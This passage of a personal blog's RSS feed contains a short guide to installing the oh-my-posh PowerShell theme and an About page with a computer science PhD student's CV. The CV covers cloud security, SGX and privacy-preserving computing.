pioeces, which provides a common language to explain components and their functionalities. Here this article will give an overview of the 7 layers top-to-down.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Config oh-my-posh on Windows 10</title>
      <link>https://example.org/posts/oh-my-posh/</link>
      <pubDate>Tue, 08 Sep 2020 07:05:30 +0000</pubDate>
      <guid>https://example.org/posts/oh-my-posh/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/JanDeDobbeleer/oh-my-posh&#34;&gt;oh-my-posh&lt;/a&gt;, as an alternative of oh-my-zsh in *nix-based system, is a beautiful theme engine for Powershell in Windows Terminal.&lt;/p&gt;&#xA;&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/microsoft/terminal&#34;&gt;Windows Terminal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://git-scm.com/&#34;&gt;Git&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/powerline/fonts&#34;&gt;Powerline fonts&lt;/a&gt; (at least one font is needed to be installed)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;&#xA;&lt;p&gt;Using the following commands to install the oh-my-posh in your Windows Terminal:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-powershell&#34;&gt;Install-Module posh-git -Scope CurrentUser  &#xA;Install-Module oh-my-posh -Scope CurrentUser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now the oh-my-posh is successfully installed on your computer, the following commands are used to enable the prompt:&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://example.org/about/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://example.org/about/</guid>
      <description>&lt;!-- # Education&#xA;&#xA;-&#xA;**City University of Hong Kong**    Sep. 2018  Jun. 2025 (Expected)&#xA;***Doctor of Philosophy** in Computer Science, supervised by [[Prof. WANG Cong]{.underline}](https://www.cs.cityu.edu.hk/~congwang/)*   &#xA;     -&#xA;&#xA;Thesis: *Privacy-Preserving High Performance Network Services:&#xA;  A Hybrid Hardware-Software Perspective*&#xA;&#xA;Research Fields: Cloud Security, Confidential Computing,&#xA;  Hardware-Assisted Security&#xA;&#xA;&#xA;**Xiamen University**   Sep. 2014  Jun. 2018&#xA;***Bachelor of Engineering** in Computer Science*   &#xA;     &#xA;&#xA;A/A+ in *C++ Programming, Calculus, Linear Algebra, Discrete&#xA;  Mathematics, Probability and Statistics*, etc.&#xA;&#xA;Thesis: *Biological Network-based Method for Prioritizing&#xA;  Cancer-Associated Genes*&#xA;&#xA;Received National Scholarship (2 of 93) and Outstanding Merit&#xA;  Student Award (2 of 93)&#xA;&#xA;# Working Experience&#xA;&#xA;**Compute Architect Intern**     Sep. 2017  Dec. 2017&#xA;*NVIDIA**Shanghai, China*&#xA; &#xA;&#xA;***C/C++*** model and *[[Google&#xA;  Test]{.underline}](https://github.com/google/googletest)* bench&#xA;  for FPGA micro-benchmark in ***OpenCL***&#xA;&#xA;    Matrix-Multiplication (standard form, winograd and&#xA;sparse/compressed, etc.)&#xA;&#xA;    Convolution (Direct-convolution, matrix-multiplication&#xA;based and sparse/compressed, etc.)&#xA;&#xA;FPGA Neural Network test framework based on Caffe&#xA;&#xA;    Adding and modifying Caffe layers for FPGA acceleration in&#xA;***OpenCL***&#xA;&#xA;# Selected Projects&#xA;&#xA;-&#xA;**Simple Option Pricing Engine** $|$ *C/C++, CUDA, Google Test/Benchmark*     Ongoing project, [[Github]{.underline}](https://summerofcode.withgoogle.com/archive/2022/projects/H2LcKmLu)&#xA;     -&#xA;&#xA;A simple engine to price American and European options, with&#xA;  ***Black-Scholes*** and ***Binomial Tree*** models, in **C++**&#xA;&#xA;Implementing ***Newton-Raphson*** Method, ***Implied&#xA;  Volatility*** calculation and ***Greeks*** calculation&#xA;&#xA;Leveraging *[[Google&#xA;  Test]{.underline}](https://github.com/google/googletest) and&#xA;  [[Benchmark]{.underline}](https://github.com/google/benchmark)*&#xA;  for industry-level correctness validation and performance&#xA;  evaluation&#xA;&#xA;Ongoing works: **CUDA** acceleration; **SIMD** optimization; an&#xA;  efficient **PDE** solver for ***Black-Scholes*** equation&#xA;&#xA;-&#xA;**TEE-assisted Private Transformer Inference on GPU** $|$ *C++, CUDA, Python*     Ongoing Paper&#xA;     -&#xA;&#xA;An efficient inference engine for ***transformer-based***&#xA;  models, protecting both client data and model weights&#xA;&#xA;Eliminating ***ciphertext-ciphertext multiplication*** in&#xA;  **FHE** by introducing secret-sharing-based offline computation&#xA;&#xA;Reducing ***matrix rotation*** overhead in plaintext-ciphertext&#xA;  multiplication by designing novel ***matrix packing***&#xA;  strategies&#xA;&#xA;Implementing the inference engine in **C++** and **CUDA**, and&#xA;  evaluating on ***interconnected*** NVIDIA GPUs&#xA;&#xA;&#xA;**Intel SGX Support for Unikraft** $|$ *C/C++, Linux Kernel, Assembly, Python, Git*     [[Google GSoC 2022 Project]{.underline}](https://summerofcode.withgoogle.com/archive/2022/projects/H2LcKmLu)&#xA;     &#xA;&#xA;Adding [[Intel&#xA;  SGX]{.underline}](https://www.intel.com/content/www/us/en/products/docs/accelerator-engines/software-guard-extensions.html)&#xA;  support to&#xA;  [[Unikraft]{.underline}](https://github.com/unikraft/unikraft),&#xA;  an open-sourced unikernel with $\sim 3$K stars&#xA;&#xA;Implementing kernel primitives: *Ring-0/3 switch, SGX init and&#xA;  `ecall/ocall`* in **C/C++** and **Assembly**&#xA;&#xA;Porting ***radix-tree*** implementation from FreeBSD in **C**&#xA;&#xA;Related GitHub PRs:&#xA;  [[`#474`]{.underline}](https://github.com/unikraft/unikraft/pull/474),&#xA;  [[`#520`]{.underline}](https://github.com/unikraft/unikraft/pull/520)&#xA;&#xA;**A Privacy-Preserving Crowdsourcing Data Analytic System** $|$ *C++, Javascript, MySQL*     [[Gov-Granted Project]{.underline}](https://scholars.cityu.edu.hk/en/projects/untitled(2974b156-2e9b-42e7-87dd-7f452a93fc41).html)&#xA; &#xA;&#xA;An end-to-end data annotation and questionnaire system, with&#xA;  SGX-assisted privacy guarantee&#xA;&#xA;Implementing **multi-modal statistical truth-discovery**&#xA;  algorithm inside SGX enclave via **C++**, with ***lock-free***&#xA;  and ***cache-friendly*** data structures and memory management&#xA;&#xA;Providing easy-to-use web interface for data annotation and&#xA;  questionnaire submission, with **Vue** and **Node.js**&#xA;&#xA;-&#xA;**A Keyword-based Chinese Couplet Generation System** $|$ *C++, C#, Python*     [[1^st^ Prize, &#34;Huawei Cup\&#34;]{.underline}](https://informatics.xmu.edu.cn/info/1033/5143.htm)&#xA;     -&#xA;&#xA;Crawling, cleaning, and structuring&#xA;  $\sim$`&lt;! &gt;`{=html}600,000 Chinese couplets from the&#xA;  Internet, in **Python**&#xA;&#xA;Designing a ***phrase-based statistical machine translation***&#xA;  model to generate the initial couplet pairs&#xA;&#xA;Proposing an ***immune algorithm*** to optimize the couplet,&#xA;  and training a **SVM** model to evaluate the quality&#xA;&#xA;Implementing above algorithms in **C++**, and developing a&#xA;  user-friendly demo GUI in **C#**&#xA;&#xA;&#xA;**Homogram: An Open-Sourced Telegram Client for HarmonyOS Next** $|$ *Rust, Typescript*     80+ Stars on [[GitHub]{.underline}](https://github.com/HomoArk/Homogram)&#xA;     &#xA;&#xA;An actively maintained 3^rd^-party Telegram Client for&#xA;  HarmonyOS Next, with 70+ stars on GitHub&#xA;&#xA;Implementing ***fully-asynchronous*** API-communication in&#xA;  **Rust**, with **SIMD *acceleration*** on media processing&#xA;&#xA;Leveraging *ArkUI*, a ***Typescript***-based framework to build&#xA;  a user-friendly GUI, with *lazy-loading* and *caching* mechanism&#xA;&#xA;Contributing to an 100+ stars open-sourced Rust project&#xA;  [[ohos-rs]{.underline}](https://github.com/ohos-rs/ohos-rs)&#xA;  during the development&#xA;&#xA;# Technical Skills&#xA;&#xA;**Language**: English (Proficient), Cantonese (Proficient), Mandarin&#xA;(Native)\&#xA;**Programming**: *Proficient*: C/C++, Rust, LaTeX; *Intermediate*: C#,&#xA;Java, JavaScript, Python, SQL, Shell Script\&#xA;**Tools**: *Experienced*: Git, Docker, Linux, GDB, Network Debugging;&#xA;*Amateur*: CUDA, OpenCL, Keras, PyTorch&#xA;&#xA;# Publications&#xA;&#xA;# Selected Talks&#xA; &#xA;**Differential Privacy and Machine Learning**   May 2021&#xA;*City University of Hong Kong*  *[[slides]{.underline}](https://drive.google.com/file/d/1u1S4iNqWIVYIPiZjdSSdPzZsslU5vjGl/view?usp=sharing)*&#xA;     &#xA;&#xA;&#xA;**Privacy-Aware Similarity Search**   Nov 2021&#xA;*City University of Hong Kong*    *[[slides]{.underline}](https://drive.google.com/file/d/1twQrXVDrRymcfncbag2MfAg9_FQrTDBZ/view?usp=sharing)*&#xA;     &#xA;&#xA;**A Comparative Perspective on Today&#39;s Hardware-based Cloud Security**   Apr 2022&#xA;*City University of Hong Kong*   *[[slides]{.underline}](https://drive.google.com/file/d/1tyEWiNQUXvWIg4FxdYtpRvcTIdSeGAj_/view?usp=sharing)*&#xA; &#xA;&#xA;&#xA;**Lightweight Single-Server Private Information Retrieval**   Mar 2023&#xA;*City University of Hong Kong*    *[[slides]{.underline}](https://drive.google.com/file/d/1tz3JHranyqnjVcTZd7LOzrU6YnMPKzYk/view?usp=sharing)*&#xA;     &#xA;&#xA;**PIR-TEE: Powering Privacy and Performance for Lightweight Blockchain Clients**   Dec 2024&#xA;*MSN 2024, Harbin, China**[[slides]{.underline}](https://drive.google.com/file/d/1u1yX1e7K3-xIoNsVwIOt3F2hM2Y0ybhc/view?usp=sharing)*&#xA; &#xA;&#xA;**Privacy-Preserving High-Performance Network Services**   Feb 2025&#xA;*Ph.D. Thesis Defense, City University of Hong Kong*   *[[slides]{.underline}](https://drive.google.com/file/d/1u3O863frMXAPJKVSluHEiNVJncRCrEiz/view?usp=sharing)*&#xA; &#xA;&#xA;# Teaching Experience&#xA;&#xA;&#xA;**Lab Assistant**, City University of Hong Kong     Sep. 2018  Jun. 2019&#xA;     &#xA;&#xA;CS1102 Introduction to Computer Studies; CS2313 Computer&#xA;  Programming&#xA;&#xA;&#xA;**Lab/Quiz Instructor**, City University of Hong Kong     Sep. 2019  Jun. 2022&#xA;     &#xA;&#xA;CS3402 Database Systems&#xA;&#xA;# Awards and Scholarships&#xA;&#xA;&#xA;**National Scholarship**, Xiamen University     2015&#xA;     &#xA;&#xA;**Outstanding Merit Student**, Xiamen University     2015&#xA; &#xA;&#xA;&#xA;**First Prize, 6th \&#34;Huawei Cup\&#34; Contest of Intelligent Design**     2016&#xA;     &#xA;&#xA;**Excellent Young Volunteer**, Xiamen University     2016&#xA; &#xA;&#xA;**Excellent Student Cadre**, Xiamen University     2017&#xA; &#xA;&#xA;**Scholarship for Academic Innovation**, Xiamen University     2017&#xA; &#xA;&#xA;**Xiamen International Bank Scholarship**, Xiamen University     2017&#xA; &#xA;&#xA;# Services&#xA;&#xA;**Reviewer** for: INFOCOM, ASIACCS, ICDCS, SecureComm, WiMob     20192024&#xA; &#xA;&#xA;**Residence Tutor**, Student Residence, City University of Hong Kong     20192022&#xA;  --&gt;</description>
    </item>
  </channel>
</rss>
